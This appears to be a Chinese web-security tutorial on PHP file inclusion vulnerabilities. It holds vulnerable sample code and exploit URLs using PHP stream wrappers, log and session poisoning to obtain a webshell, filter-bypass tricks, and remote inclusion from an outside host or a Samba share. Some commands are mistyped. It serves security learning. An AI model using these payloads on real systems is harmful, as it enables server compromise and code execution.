web渗透-文件包含漏洞

本文涉及的产品
多模态交互后付费免费试用,全链路、全Agent
简介: 文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。

一、简介

在程序员开发过程中,通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需在此编写,这种调用文件的过程一般被称为文件包含。

随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有
做合理的校检或者校检被绕过就造成了文件包含漏洞。

二、常见的文件包含函数

1 include() 
当使用该函数包含文件时,只有代码执行到jinclude()函数时才将文件包含进来,发生错误时之给出一
个警告,然后继续向下执行。
2 include_once()
功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
3 require()
require()与include()的区别在于re(执行如果发生错误,函数会输出错误信息,并终止脚本的运
行。
4 require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
5 highlight_file() show_source()
函数对文件进行语法高亮显示,通常能看到源代码
6 readfile(),file_get_contents()
函数读取一个文件,并写入到输出缓冲
7 fopen()
打开一个文件或者url

三、文件包含漏洞分类

1. 本地文件包含漏洞

  • 简介:当被包含的文件在服务器本地时,就形成了本地文件包含
  • 示例:
<?php
$file = $_GET['file'];
include $file;
?>
  • 利用方式:在寻找到服务器文件包含漏洞时,还需要探测出服务器的文件路径,可以通过文件上传漏洞将木马文件上传到服务器中,再利用文件包含漏洞执行木马文件。

2. 远程文件包含漏洞

  • 简介:本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini中的配置选项allow_url_fopen和allow_url_include为on的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。
  • 漏洞利用所需条件
# 需要的php.ini中开启以下配置
allow_url_fopen:on
allow_url_include:on

四、漏洞利用方式-PHP伪协议

1. PHP伪协议

  • 简介:PHP伪协议事实上就是PHP支持的协议与封装协议(PHP内置的协议)
file://  访问本地文件系统
 http://  访问 HTTP(s) 网址
 ftp://   访问 FTP(s) URLs
 php://   访问各个输入/输出流
 zlib://  压缩流
 data://  数据
 glob://  查找匹配的文件路径模式
 phar://  PHP 归档
 ssh2://  Secure Shell 2
 rar://  RAR
 ogg://  音频流
 expect://   处理交互式的流
 ftp:// 访问ftp(s)URLs

2. file://包含

  • 作用:用户访问本地文件系统,用于读取本地文件并且不会受到allow_url_fopen和allow_url_include的影响。
  • 条件:
# 这两项配置为on或off都可以(无条件)
allow_url_fopen:on/off
allow_url_include:on/off
  • 示例:
// 准备一个文件包含的php文件
// file.php
<?php
  $file = $_GET["file"]
  include($file)
?>
// 上传文件
<?php
echo("test");
?>

3. php://包含

  • 用法

  • php://filter

  • 条件
allow_url_fopen:on/off
allow_url_include:on

  • php://filter示例
// 读文件 
// read:通过base64编码读取文件
// resource:文件路径
// 读到文件后需要通过base64解码
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=test.php
// 解码网站:https://base64.us/
// PD9waHANCmVjaG8oInRlc3QiKTsNCj8+
// 结果:
<?php
echo("test");
?>

  • php://input示例

// 访问路径
http://10.196.93.67/file.php?file=php://input
// 通过post方法将php代码添加到请求中。

4. zip://包含或zlib://包含

  • 作用:可以访问压缩文件中的子文件,重点是不需要制定后缀名,可任意修改后缀:jpg/png/gif等
  • 条件:
# 这两项配置为on或off都可以(无条件)
allow_url_fopen:on/off
allow_url_include:on/off
  • 示例
  • 准备:一个php文件写好代码后,就后缀修改为jpg,并压缩

// url编码:%23=#
// 地址:http://localhost/file.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23test.jpg

5. data://包含

  • 作用:自PHP大于等于5.2.0后,可以使用data://数据流封装器,以传递相应格式的数据。执行php代码
  • 条件:
# 两项都为on
allow_url_fopen:on
allow_url_include:on
  • 用法:
/*
base64 后面使用base加密方式 ,不需要加?>
*/
data://text/plain,
data://text/plain;base64,
  • 示例:
# url编码: %27='   %20=空格 %3C=< %3E=>
http://localhost/file.php?file=data://text/plain,%3C?php%20echo(%27data%27);?%3E
// 源:
http://localhost/file.php?file=data://text/plain,<?php echo('data');?>

6. phar://包含

  • 作用:和zip://功能类似,都是压缩包,可能存在版本问题
  • 条件:
# 这两项配置为on或off都可以(无条件)
allow_url_fopen:on/off
allow_url_include:on/off

四、漏洞利用方式-通过日志getShell

训练靶场:https://download.vulnhub.com/dc/DC-5.zip

1. 简介

日志文件是用于记录系统操作事件的记录文件或文件集合,可分为事件日志和消息日志。具有处理历史数据,诊断问题的追踪以及理解系统的活动等重要作用。

2. 服务日志文件路径

服务

地址

Apache(window)

Apache/logs

Apache(kali)

/var/log/apache2/error.log

3. 利用方式

/*
当访问php网站时,通过输入恶意语句访问失败,网站将会把恶意语句记录到error日志文件中。
因为日志文件是存在于服务中的,所以拥有运行php的环境
*/

4. 示例

// 访问日志路径
http://localhost/file.php?file=../Apache/logs/error.log

  • 使用抓包工具构造错误的恶意代码
  • 注意点:不建议直接在浏览器的URL栏上构造代码,因为会存在浏览器的URL栏会解析URL编码,导致构造失败。

蚁剑

url:http://10.196.93.67/file.php?file=../Apache/logs/error.log
密码:cmd

四、漏洞利用方式-通过session包含

1. 简介

session就是保存在服务器的文本文件。默认情况下,php.ini中设置的session保存方式是files(session.save_handler-files),即使用读写文件的方式保存session数据,而 session on文件保存的目录由session.save_path指定,文件名以 sess  为前缀,后跟 session id,如:
sess c72665af28a8b14c0fe11afe3b59b51b.文件中的数据即是序列化之后的session数据了

2. ssession路径

# phpsttdy:
# D:\phpStudy 为phpStudy安装目录
D:\phpStudy\PHPTutorial\tmp\tmp

3. 利用条件

1 需要找到session文件路径(可以通过phpinfo函数、默认位置尝试)
2 其中部分内容可以控制(如将代码编写在注册或登录可能存session的地方)

4. 利用方式

// 和通过日志文件获取shell类似,在session文件中编写恶意代码,在通过文件包含,执行session文件。

5. 示例

  • 准备模拟环境
# 创建session.php文件
<?php
session_start();
$sess=$_GET['sess'];
$_SESSION['cmd'] = $sess
?>
  • 访问文件
url: http://localhost/session.php?sess=%3C?php%20phpinfo()?%3E
# 源:
http://localhost/session.php?sess=<?php phpinfo();?>

  • 包含文件
url:http://localhost/file.php?file=../tmp/tmp/sess_c44a555a5d79d3ab49b1a9b6b358d8bc

五、文件包含限制绕过方式

1. 本地限制文件类型绕过

  • 限制代码
# 只能包含html文件
<?php
$file = $_GET['file'];
include($file.".html") # 文件名以.html结尾
?>
1.1. 绕过方式一
方式一:在上传是添加需要的文件后缀
例:本来文件为a.txt,上传时修改为a.txt.html
填写的url为:httpc
1.2. 绕过方式二
方式二:%00截断
利用特点:window特性
存在条件:magic_quotes_gpc=off ; PHP版本<5.3.4
1.3. 绕过方式三
方式三:路径长度截断(.或./)
window路径长度最长为:256
例:localhost/file.php?file=a.txt/./././././././././
linux路径长度最长为:4096

2. 远程限制文件类型绕过

2.1. 绕过方式一
// 在文件后面添加问号或 %23
// localhost/file.php?file=http://www.varin.cn/a.txt?.html
// 将.html 当做了参数
// 例如
localhost/file.php?file=http://www.varin.cn/a.txt?
localhost/file.php?file=http://www.varin.cn/a.txt%23

3. 共享文件夹绕过

  • 简介:

  • 利用方式:
# 在公网的服务器上搭建一个匿名访问的共享文件夹访问:
# 例:
http://localhost/file.php?file=\\www.varin.cn\a.txt
  • 扩展:
# samba 在kali上安装
apt install samba
# 查看是否安装成功
samba -v
  • 示例
#  kali
cd /var/www/html
mkdir pub
chmod 555 pub
chown nobody:nogroup pub/ # 设置用户组
# 清空samba配置文件
echo >/etc/samba/smb.conf 
vim /etc/samba/smb.confi
#添加以下配置
[global]
workgroup= WORKGROUP
serverstring = Samba Server %v
netbiosname = indishell-lab
security= user
mapto guest = bad user
nameresolve order = bcast host
dnsproxy = no
bindinterfaces only = yes
[ica]
path= /var/www/html/pub
writable= no
guestok = yes
guestonly = yes
readonly = yes
directorymode = 0555
ervice smbd restart # 重启samba服务
# 在共享文件夹中准备恶意代码
echo '<?php phpinfo() ?>' > a.php

  • 访问

五、文件包含特征

1. 黑盒测试

方法一:寻找网址是否存在以下参数:
filename=xx.php
include=xx.php
方法二:判断系统

2. 白盒测试

代码审计,看源码,找漏洞
目录
相关文章
|
20天前
|
安全 PHP 开发工具
Web渗透信息收集进阶
网站敏感目录与文件指易被恶意扫描利用的路径,如后台管理、.git、.svn等,可能导致源码泄露或权限入侵。常用工具如御剑、Dirbuster、Dirsearch可探测此类信息,需加强安全防护。
372 58
Web渗透信息收集进阶
|
20天前
|
安全 网络协议 NoSQL
Web渗透-常见的端口及对其的攻击思路
本文介绍了常见网络服务端口及其安全风险,涵盖FTP、SSH、Telnet、SMTP、DNS、HTTP、SMB、数据库及远程桌面等20余个端口,涉及弱口令爆破、信息泄露、未授权访问、缓冲区溢出等典型漏洞,适用于网络安全学习与渗透测试参考。
381 59
|
20天前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
370 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
20天前
|
安全 NoSQL Shell
web渗透-SSRF漏洞及discuz论坛网站测试
SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。
118 1
web渗透-SSRF漏洞及discuz论坛网站测试
|
20天前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
91 0
Web渗透-文件上传漏洞-上篇
|
20天前
|
安全 中间件 应用服务中间件
WEB渗透-文件上传漏洞-下篇
本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
75 0
|
20天前
|
安全 程序员 数据库连接
web渗透-CSRF漏洞
CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
226 0
web渗透-CSRF漏洞
|
5月前
|
Web App开发 前端开发 JavaScript
鸿蒙5开发宝藏案例分享---Web适配一多开发实践
这是一份实用的鸿蒙Web多设备适配开发指南,针对开发者在不同屏幕尺寸下的布局难题提供了解决方案。文章通过三大法宝(相对单位、媒体查询和窗口监听)详细介绍如何实现智能适配,并提供了多个实战案例,如宫格布局、对话框变形和自适应轮播图等。此外,还分享了调试技巧及工具推荐,帮助开发者快速上手并优化性能。最后鼓励读者实践探索,并提示更多官方资源等待发现。
|
7月前
|
关系型数据库 MySQL 数据库
基于Flink CDC 开发,支持Web-UI的实时KingBase 连接器,三大模式无缝切换,效率翻倍!
TIS 是一款基于Web-UI的开源大数据集成工具,通过与人大金仓Kingbase的深度整合,提供高效、灵活的实时数据集成方案。它支持增量数据监听和实时写入,兼容MySQL、PostgreSQL和Oracle模式,无需编写复杂脚本,操作简单直观,特别适合非专业开发人员使用。TIS率先实现了Kingbase CDC连接器的整合,成为业界首个开箱即用的Kingbase CDC数据同步解决方案,助力企业数字化转型。
1234 5
基于Flink CDC 开发,支持Web-UI的实时KingBase 连接器,三大模式无缝切换,效率翻倍!
|
7月前
|
机器学习/深度学习 开发框架 API
Python 高级编程与实战:深入理解 Web 开发与 API 设计
在前几篇文章中,我们探讨了 Python 的基础语法、面向对象编程、函数式编程、元编程、性能优化、调试技巧以及数据科学和机器学习。本文将深入探讨 Python 在 Web 开发和 API 设计中的应用,并通过实战项目帮助你掌握这些技术。

热门文章

最新文章